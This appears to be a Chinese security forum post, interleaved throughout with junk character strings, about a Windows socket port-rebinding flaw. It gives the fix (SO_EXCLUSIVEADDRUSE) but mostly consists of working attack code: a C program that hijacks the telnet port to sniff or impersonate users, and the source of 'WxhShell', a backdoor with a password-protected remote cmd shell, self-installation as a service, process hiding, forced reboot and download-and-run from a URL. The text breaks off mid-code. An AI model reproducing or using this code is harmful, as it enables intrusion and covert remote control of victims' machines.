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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0 a]/%y3V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9/+Nj / LjL[V'JL saddr.sin_family = AF_INET; %WqNiF0- {`2R,Jb%S saddr.sin_addr.s_addr = htonl(INADDR_ANY); E?(xb B H|cNH= bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 85EQ5yY #%J5\+ua 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $+.l*] $$:ZX 这意味着什么?意味着可以进行如下的攻击: $/6;9d^ 2[0JO.K
4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G'YH6x, omWJJ|b~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ikE<=:pe XLMb=T~S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %| G"-%_E Ax !+P\\2~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 7'NwJ,$6\ *6xgctk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cA6lge<{~ XeBP`\>Ve 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .>z][2oz eIl]oC7* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xBu1Ak8w 4&/j|9=X #include ]|<w\\^A #include Xl@cHO=i #include Z|RY2P>E #include Xf)|Pu DWORD WINAPI ClientThread(LPVOID lpParam); 099sN"kf int main() -,K! { ]%Zz \Q WORD wVersionRequested; P{Q=mEQ DWORD ret; FKe, qTqa WSADATA wsaData; 2lL,zFAq BOOL val; PRNoqi3sY SOCKADDR_IN saddr; ~ %B<
SOCKADDR_IN scaddr; v]B
L[/4 int err; @
49nJi SOCKET s; VLBE'3Qg1 SOCKET sc; 5k|9gICyd* int caddsize; eT2*W$ HANDLE mt; t>8XTqqi DWORD tid; Scv#zuv_ wVersionRequested = MAKEWORD( 2, 2 ); iAa;6mH err = WSAStartup( wVersionRequested, &wsaData ); "`6n6r42 if ( err != 0 ) { AkOO)0 printf("error!WSAStartup failed!\n"); \.mI return -1; <AJ97MLcc } Qp`gswvE saddr.sin_family = AF_INET; U-n;xX0= AyMd:5; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ccd8O{G.M 1:Si,d,wh saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _G1gtu] saddr.sin_port = htons(23); 4Jx"A\5*G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PqM1aoyX { *.)tG printf("error!socket failed!\n"); 9W5onn return -1; t43)F9! } !bV5Sr^ val = TRUE;
]({~,8s //SO_REUSEADDR选项就是可以实现端口重绑定的 43V}#DA@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Pz$R(TV { q\\gpCgp printf("error!setsockopt failed!\n"); ax
41N25 return -1; DNP13wp@ } .jMq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }MUn/ [x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gk`zA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z4IgBn(Z_} '=P7""mN5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %,ngRYxT# { JmEj{K<3I ret=GetLastError(); F: mq'<Q printf("error!bind failed!\n"); 0Ia($.1mY return -1; 7t.!lh5G% } ,]b~t0|B listen(s,2); ZoArQ(YFy while(1) h;3cd0 { 3j3N!T9 caddsize = sizeof(scaddr); &HSq(te //接受连接请求 vzmc}y G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x`6<m!d` if(sc!=INVALID_SOCKET) -\#0]F:- { r_;9'#&' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /rSH"$ if(mt==NULL) F5o+kz$; { TwgrRtj' printf("Thread Creat Failed!\n"); } (!EuLL break; }%D^8>S } &IlU|4`R% } `Qeg CloseHandle(mt); =N 5z@;! }
1!>Jpi0 closesocket(s); *-xU2 WSACleanup(); @O[5M2|r return 0; N]RZbzK_5G } H*9~yT'Q DWORD WINAPI ClientThread(LPVOID lpParam) @Vu(XG { ~H!S,"n^,P SOCKET ss = (SOCKET)lpParam; |\n_OS7 SOCKET sc; In[Cr/&/Y unsigned char buf[4096]; #h/Mbj~S SOCKADDR_IN saddr; O`vTnrY long num; rSrIEP,c' DWORD val; j!3 Gz DWORD ret; Uo2GK3nT //如果是隐藏端口应用的话,可以在此处加一些判断 ^%`wJ.c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |2KAo!PI saddr.sin_family = AF_INET; 2YDM9`5xs\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U)3DQ6T99 saddr.sin_port = htons(23); fNrgdfo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R i^[i}
{ tr7<]Hm: printf("error!socket failed!\n"); i E CrI3s return -1; vv=VRhwF } `UBYp p val = 100; gJM`[x`T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]Zmj4vK J { <mAhr ret = GetLastError(); H9CS*|q6r return -1; T*KMksjxm` } 7k8 pZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %AQIGBcgL { $1v&azM. ret = GetLastError(); H#ncM~y* return -1; L5,NP5RC } P@FHnh3}Z$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DY^;EZ!hb { 0tU.( printf("error!socket connect failed!\n"); QV\eMuNy closesocket(sc); QVtQx>K` closesocket(ss); a1@Y3MQ;i return -1; %HJK; } NC38fiH_N while(1) 7.`fJf? { 73){K?R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x7$}8LZ"B //如果是嗅探内容的话,可以再此处进行内容分析和记录 I(XOE$3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y:6; LZ9[ num = recv(ss,buf,4096,0); _8E/)M if(num>0) &%-73nYw send(sc,buf,num,0); ^#sU*trr else if(num==0) Dtj&W<NXo break; G.UI|r/Kz num = recv(sc,buf,4096,0); mrw=T. if(num>0) *M"}z send(ss,buf,num,0); Y0X-Zqk' else if(num==0) %VnbmoO break;
>FkWH7 } /bVoErf closesocket(ss);
XcjRO#s\ closesocket(sc); 0L/n ?bf return 0 ; 9yfJVg } q|),`.eh\ ^f(@gS}? V 0rZz ========================================================== }I>tO9M GP#aya 下边附上一个代码,,WXhSHELL 8e(\%bX 0vw4?>Jf@ ========================================================== VTH>
o>g >qF CB\( #include "stdafx.h" #Q
/Arq sQ\8>[]
#include <stdio.h> $b mLu=9 #include <string.h> ,KFapz! #include <windows.h> (I./ Uu% #include <winsock2.h> }1upi=+aE #include <winsvc.h> 1aTB%F #include <urlmon.h> (UxW; _FWBUZ;N #pragma comment (lib, "Ws2_32.lib") <Sr #pragma comment (lib, "urlmon.lib") [)TRTxFb r!
MWbFw|X #define MAX_USER 100 // 最大客户端连接数 N}t
2Nu- #define BUF_SOCK 200 // sock buffer \7'+h5a #define KEY_BUFF 255 // 输入 buffer 5bgs*.s - RU=z!{ #define REBOOT 0 // 重启 ruld B,n #define SHUTDOWN 1 // 关机 S@/IQR a5TioQ #define DEF_PORT 5000 // 监听端口 ~5oPpTAe NN?`"Fww #define REG_LEN 16 // 注册表键长度 gp\<p-} #define SVC_LEN 80 // NT服务名长度 .~7FyLl$ Kh_Lp$'0uM // 从dll定义API 2_Z ? #Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M"94#.dKK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rQ qW_t% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w {3<{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )z28=%g 1waTTT?"Ho // wxhshell配置信息 L}pt)w*V1j struct WSCFG { W@I|Q - int ws_port; // 监听端口 Zo~ char ws_passstr[REG_LEN]; // 口令 @P?~KW6<| int ws_autoins; // 安装标记, 1=yes 0=no io8'g3< char ws_regname[REG_LEN]; // 注册表键名 ] &Rx@&e* char ws_svcname[REG_LEN]; // 服务名 "9Q40w\ char ws_svcdisp[SVC_LEN]; // 服务显示名 =D<PVGo9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rw0qcM\>| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |3KLk ?2 int ws_downexe; // 下载执行标记, 1=yes 0=no XMu9 Uk{| char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?m\t|/0Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aq@8"b(. '?p<lu^^B }; ",KCCis $cU!m(SILQ // default Wxhshell configuration $arK( struct WSCFG wscfg={DEF_PORT, 5lUF7:A># "xuhuanlingzhe", %#xaA'?
[ 1, !'9Feoez "Wxhshell", gq'Y!BBQy "Wxhshell", #ZrHsfP "WxhShell Service", YOmM=X+'H "Wrsky Windows CmdShell Service", 7Bd-!$j+ "Please Input Your Password: ", 2so! 1, 8b;1FQ' " http://www.wrsky.com/wxhshell.exe", f@|A[>"V "Wxhshell.exe" J`].:IOh }; "ozr+:#\ t^G"f;Ra+ // 消息定义模块 cmU1!2.1E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1oWED*B char *msg_ws_prompt="\n\r? for help\n\r#>"; heC/\@B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; $m-2HhqZ char *msg_ws_ext="\n\rExit."; {ix?Brq/ char *msg_ws_end="\n\rQuit."; 9 %I?).5 char *msg_ws_boot="\n\rReboot..."; r
w2arx char *msg_ws_poff="\n\rShutdown..."; GkTiDm? char *msg_ws_down="\n\rSave to "; CU@Rob} s ?FpWvyz| char *msg_ws_err="\n\rErr!"; .ufTQ?Fe char *msg_ws_ok="\n\rOK!"; (jRm[7H ?En O"T. char ExeFile[MAX_PATH]; n%.7h3 int nUser = 0; /YMj-S_b~ HANDLE handles[MAX_USER]; '6cWS'9" int OsIsNt; m4hg'<<V 7>))D'l57 SERVICE_STATUS serviceStatus; b)qoh^ SERVICE_STATUS_HANDLE hServiceStatusHandle; Ch|jtVeuyJ &-Gqdnc // 函数声明 Pama#6?OPh int Install(void); qGB{7-r u int Uninstall(void); yDegcAn? int DownloadFile(char *sURL, SOCKET wsh); Kzm+GW3o[ int Boot(int flag); AicBSqUke void HideProc(void); R\G0'?h
> int GetOsVer(void); bU2Z[sn. int Wxhshell(SOCKET wsl); YA_c
N5p/@ void TalkWithClient(void *cs); IID-k int CmdShell(SOCKET sock); zck#tht4
n int StartFromService(void); CR"|^{G int StartWxhshell(LPSTR lpCmdLine); d\|?-hY`[ $!-c-0ub VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R6kD=JY/! VOID WINAPI NTServiceHandler( DWORD fdwControl ); r") `Ph@yp K<SyC54 // 数据结构和表定义 ( u\._Gwsx SERVICE_TABLE_ENTRY DispatchTable[] = %InA+5s` { 0zlb0[ {wscfg.ws_svcname, NTServiceMain}, |@
s,XS {NULL, NULL} C.Kh[V\Ut }; BW}U%B^. qG?Qc ( // 自我安装 !Sh&3uy_qN int Install(void) >,$_| C { i1NY9br char svExeFile[MAX_PATH]; D%OQ e#! HKEY key; r%yvOF\> strcpy(svExeFile,ExeFile); /v1Q4mq CYs,` // 如果是win9x系统,修改注册表设为自启动 =hC,@R>; if(!OsIsNt) { 93("oBd[s( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1{ ~#H<K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p.v0D:@& RegCloseKey(key); Q kEvw< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `1$@|FgyC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mS$j?>m RegCloseKey(key); tl,.fjZn return 0; A@1W}8qY: } bLij7K2H } Z<1FSk,[ } "U>JM@0DNm else { 4:$4u@ QwJVS(Gs4 // 如果是NT以上系统,安装为系统服务 8dZSi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LsqA**= if (schSCManager!=0) hV8[@&Sx3 { B%)% SC_HANDLE schService = CreateService f33 2J ( SPX$U5& schSCManager, |:q=T
~x wscfg.ws_svcname, v7BA[j Qr wscfg.ws_svcdisp, lYVz3p SERVICE_ALL_ACCESS, dx5#\"KX=, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A&.WH?p SERVICE_AUTO_START, Vd,jlt.t SERVICE_ERROR_NORMAL, ([\ svExeFile, J%v=yBC2 NULL, +%T\`6 NULL, TN!j13, NULL, U\4g#!qj NULL, [842&5Pd? NULL VRWAm>u ); fHE<( if (schService!=0) *}F3M\ { b~KDP+Ri CloseServiceHandle(schService); Q]Y*K CloseServiceHandle(schSCManager); ]qethaNy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [,t*Pfq'W8 strcat(svExeFile,wscfg.ws_svcname); gPNZF\ r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (6?9B lH~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q>_/u" RegCloseKey(key); R}
eN@#"D return 0; kO.%9wFbz } =x%dNf$e{W } fxgPhnaC> CloseServiceHandle(schSCManager); 4ni<E* } #C~+JL } rq8K_zp jSD#X3qp return 1; aktU$Wbwl } q@QksAq Y_;#UU689 // 自我卸载 tvkb~ int Uninstall(void) hm84Aq= f { tX9{hC^ HKEY key; 1->dMm}G[ bU>U14ix< if(!OsIsNt) { *g:4e3Iy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fsmycr!R RegDeleteValue(key,wscfg.ws_regname); I
WTwz!+ RegCloseKey(key); lGV0*Cji if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /f:dv?!km RegDeleteValue(key,wscfg.ws_regname); 6Z>FTz_ RegCloseKey(key); A>vBQN return 0; UldXYtGe } ''q@> } O,+1<.;+ } $?
m9") else { b*;Si7- 9oyE$S h] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 04LI]' if (schSCManager!=0) <{dVKf,e { +6sy-<ZL: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ed0QQyC@9 if (schService!=0) _(_a*ml { j@W.&- _ if(DeleteService(schService)!=0) { **w!CaqvY CloseServiceHandle(schService); (yu/l6[ CloseServiceHandle(schSCManager); aXQnZ+2e^R return 0; d?s<2RkPT } ~ZmN44?R CloseServiceHandle(schService); oz,np@f)J } Jv>gwV{ CloseServiceHandle(schSCManager); j#X.KM } s[M?as } a=1NED' N+m)/x
=: return 1; nGpXI\K } T}Km?d X\]L=>]C // 从指定url下载文件 l Q'I int DownloadFile(char *sURL, SOCKET wsh) Pj#<K%Bz { Gy9$wH@8 HRESULT hr; ]mo-rhDsM char seps[]= "/"; eK6hS_E char *token; Fz3fwLawI char *file; 6%'.A]" char myURL[MAX_PATH]; 8UW^"4 char myFILE[MAX_PATH]; J ][T"K q- strcpy(myURL,sURL); W^0w token=strtok(myURL,seps); nim*/LC[: while(token!=NULL) 3p39`"~ { @KWb+?_H{< file=token; H35S#+KX token=strtok(NULL,seps); J}htu } 3/aMJR:o
x*![fK GetCurrentDirectory(MAX_PATH,myFILE); ~3Lg"I strcat(myFILE, "\\"); Lrta/SU* strcat(myFILE, file); .\[`B.Q send(wsh,myFILE,strlen(myFILE),0); xAqb\|$^ send(wsh,"...",3,0); YNLV9.P6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); un)4eo!7 if(hr==S_OK) %j:]^vqFA return 0; aO]ZZleNS else Z8# (kmBdB return 1; 1e(E:_t =@m &s^R } "8c@sHk(w $&y%=-] | // 系统电源模块 T?:Rdo!:u int Boot(int flag) u5O+1sZ"6 { GS0;bI4ay HANDLE hToken; o}$XH,-9& TOKEN_PRIVILEGES tkp; $Wjww-mx W,4QzcQR if(OsIsNt) { '= _/ 1F*q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NiWa7 /Hr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;'?l$
._ tkp.PrivilegeCount = 1; G,$PV
e* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z{[xze-f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W0(_~ if(flag==REBOOT) { O*eby*%h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~"!]
3C,L return 0; AuUde$l_ } Y,GU%[+ else { _p#CwExuy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CKtB-a return 0; &+a9+y
} ,oN8HpGs } C+?Hm1 else { 1LqoF{S: if(flag==REBOOT) { 6o
|kIBte- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {G|,\O1 return 0; [DJ flCR& } s8QMewU else { D;oe2E{I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @.osJ}FxA return 0; oeKHqP wg } K\>tA)IPSV } hhSy0 XUM!Qv return 1; VcAue!MN } *YW/_ &K[_J // win9x进程隐藏模块 3t`P@nL0; void HideProc(void) J cg,#@ { _,zA ^*b g3Ec"_>P HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mx6@$tQ% if ( hKernel != NULL ) {n(b{ibl { 5j:0Yt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4,..kSA3iw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~u)}ScTp FreeLibrary(hKernel); ]p*l%(dhY } _6_IP0; T#M,~lD return; kv8Fko } DamCF .9,zL=)Ba // 获取操作系统版本 6$fHtJD: int GetOsVer(void) m*ISa(#(, { ]P#XVDn+; OSVERSIONINFO winfo; H70LhN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8j Mk)- GetVersionEx(&winfo); H]Cy=Zi" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P6E3-?4j return 1; bIGHGd else nS/)P4z return 0; d1T,eJ} } xHoKo W [Of|? // 客户端句柄模块 1lq(PGX)
int Wxhshell(SOCKET wsl) %F\?R[^5 { zBo1P(kek SOCKET wsh; f_[<L struct sockaddr_in client; q:l>O5 DWORD myID; t/ +=|* -0?~ while(nUser<MAX_USER) 7P"| J\ { c#a@n 4 int nSize=sizeof(client); M54j@_81pX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H:!7: if(wsh==INVALID_SOCKET) return 1; >G);j@Q g1XZ5P} f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zEs>b(5u if(handles[nUser]==0) 3l)h yVf& closesocket(wsh); ipQLK{]t else I3
.x9 nUser++; KQacoUHrK? } e:DkGy`-s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :/y1yM .zS?9MP return 0; 8*8Zc/{ } ki [UV
zd =jlt5 z // 关闭 socket ] x\-$~E void CloseIt(SOCKET wsh) O_$m!5ug { j2Tr$gx< closesocket(wsh); &$"i,~q^b nUser--; Xg<*@4RD8 ExitThread(0); SeHagKA } :80Z6F.k` ZaeqOVp/j // 客户端请求句柄 *_R]*o!W' void TalkWithClient(void *cs) [E+$?a= { HHiT]S9 W- i&sUgy SOCKET wsh=(SOCKET)cs; Z^V6K3GSz- char pwd[SVC_LEN]; N5* u]j char cmd[KEY_BUFF]; +u!0rLb char chr[1]; M(jgd int i,j; GN-mrQo fNb`X while (nUser < MAX_USER) { ,$;yY)x7U ,
FhekaA if(wscfg.ws_passstr) { vN|l\!~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {S,l_d+( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .7i` (F) //ZeroMemory(pwd,KEY_BUFF); Uu!f,L;ty i=0; T6H}/#*tK while(i<SVC_LEN) { MxSM@3 v( )ap_Z6 // 设置超时 +
` s@ fd_set FdRead; #?q&r_@@ struct timeval TimeOut; j;s"q]"x] FD_ZERO(&FdRead); !6s"]WvF FD_SET(wsh,&FdRead); b'J'F;zh> TimeOut.tv_sec=8; /DQc&.jK TimeOut.tv_usec=0; M%1}/!J3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XEn*?.e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D<8HZ%o AK\$i$@6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R<sJ^nx pwd =chr[0]; t'BLVCu if(chr[0]==0xd || chr[0]==0xa) { (7XCA,KTGI pwd=0; W5?yy>S6N break; Vy*:ne } Xv<B1 i++; uwa~-xX6 } vJ\pR~? 0@G")L
Ue0 // 如果是非法用户,关闭 socket b7 !Qn} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r`AuvwHPs[ } RE=` ^xh}I5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .mDM[e@' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /I)yU>o Q2zjZC*'% while(1) { <Ard7UT `D`sr[3n ZeroMemory(cmd,KEY_BUFF); [[>wB[w I4i2+
*l} // 自动支持客户端 telnet标准 *g y{] j=0; $ "E).j while(j<KEY_BUFF) { 0G7K8`a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u}!@ ,/) cmd[j]=chr[0]; 'd+NVj{C if(chr[0]==0xa || chr[0]==0xd) { MS0Fl|YA cmd[j]=0; dFH$l break; COTp } PZ{Dv'C j++; KN7^:cC } K$ M^gh0 qw@puw@D // 下载文件 .pfP7weQ if(strstr(cmd,"http://")) { 3dht!7/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); _<a7CCg if(DownloadFile(cmd,wsh)) 9uRFnzJVx send(wsh,msg_ws_err,strlen(msg_ws_err),0); BT)X8>ct else D[_| *9BC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UilMv~0 } R,9[hNHWGs else { Row)hx8 S+'rG+NJ switch(cmd[0]) { SfJ./ny }?z@rt^ // 帮助 0Z0:,! case '?': { 8zA=;~GHP send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?;vgUO break; N@Y ljz| } %g1,Nk // 安装 ^
<Pq,u%k case 'i': { OE4+GI.r- if(Install()) ]8icBneA~' send(wsh,msg_ws_err,strlen(msg_ws_err),0); |N}P(GF else H^.IY_I`U* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6oLwfTy break; (9<guv } Pu"R,a // 卸载 K4]g[z case 'r': { Eh =~T9 if(Uninstall()) <{2e#Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); M/):e$S else ?0YCpn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x.3J[=z=> break; lu#LCG-. } ={5#fgK> // 显示 wxhshell 所在路径 )(tM/r4`c& case 'p': { TQ`Rk;0R char svExeFile[MAX_PATH]; LJOr!rWi strcpy(svExeFile,"\n\r"); UTf9S>HS strcat(svExeFile,ExeFile); #]#sGmW/L send(wsh,svExeFile,strlen(svExeFile),0); "TUe%o break; Kx=4~ } :$_6SQ<? // 重启 H}H7lO case 'b': { Nnk@h send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mcn 2Wt if(Boot(REBOOT)) ~BDu$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); n Ps7c % else { `5~ +,/Ys closesocket(wsh); $2M#qkik- ExitThread(0); [74F6Qp } H(Q.a=&4!p break; 7<jZ`qdq_ } Pfm_@'8 // 关机 ^Ve<>b case 'd': { esHQoIhd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0TmR/uUT if(Boot(SHUTDOWN)) "Ae@lINn[y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gg~QAsks
else { >[Ye closesocket(wsh); sf]s",t~J ExitThread(0); \EKU*5\Hp> } 549jWG break; #fJ] o_ } rQEyD // 获取shell 5w\fSY case 's': { 52b*[tZ CmdShell(wsh); K{ \;2M closesocket(wsh); `E!N9qI?t$ ExitThread(0); "Vr[4&` break; ]D@0| } l#lF
+Q; // 退出 &q`q4g&7 case 'x': { V\})3i8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
bu=?N CloseIt(wsh); QT9n,lX break; w,O,W[C } =7m}yDs6$ // 离开 Q 2A7mGN case 'q': { i~3u>CT send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3d-%>?-ee closesocket(wsh); DhX#E& WSACleanup(); ,o^y`l exit(1); {tThy# break; M;0]u.D*= } fZxIY, } n.sbr } v^ /Q 8Q
.AYj'Y // 提示信息 @"Z7nJX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3SSm5{197 } .e'eE } 6Z`R#d #I Cn>ADWpT& return; k^ YO%_ } <5G{"U+ \ .`7cBsXH // shell模块句柄 d/}SAvtt int CmdShell(SOCKET sock) h'$QC )P { cgb2K$B_" STARTUPINFO si; uZZU{U9h ZeroMemory(&si,sizeof(si)); 7},)]da>,' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w=|GJ0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *=fr8 PROCESS_INFORMATION ProcessInfo; p-%|P]& char cmdline[]="cmd"; 2kv7UU#q2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `)qVF,Z} return 0; PlYm& } L{E^?iX wBQF~WY // 自身启动模式 * ,v|y6 int StartFromService(void) jqH3J2L { `]LSbS typedef struct G60R9y47c { ork=`}; DWORD ExitStatus; AW#<i_Ybf DWORD PebBaseAddress; Z4){
7|~a DWORD AffinityMask;
t8+_/BXv DWORD BasePriority; k<RZKw Qc ULONG UniqueProcessId; H'MJ{r0, ULONG InheritedFromUniqueProcessId; MG /,== } PROCESS_BASIC_INFORMATION; tTN?r 8 'TTUN=y PROCNTQSIP NtQueryInformationProcess; Z_gC&7+ (Y+N@d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (~$/$%b static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m~lpyAw ?<Y+peu HANDLE hProcess; p#SY /KIw PROCESS_BASIC_INFORMATION pbi; U$H@ jJ* #q3l!3\mW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k z"3ZDR if(NULL == hInst ) return 0; 577:u<Yt X%bFN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0t#g} g_pGetModuleBaseName = 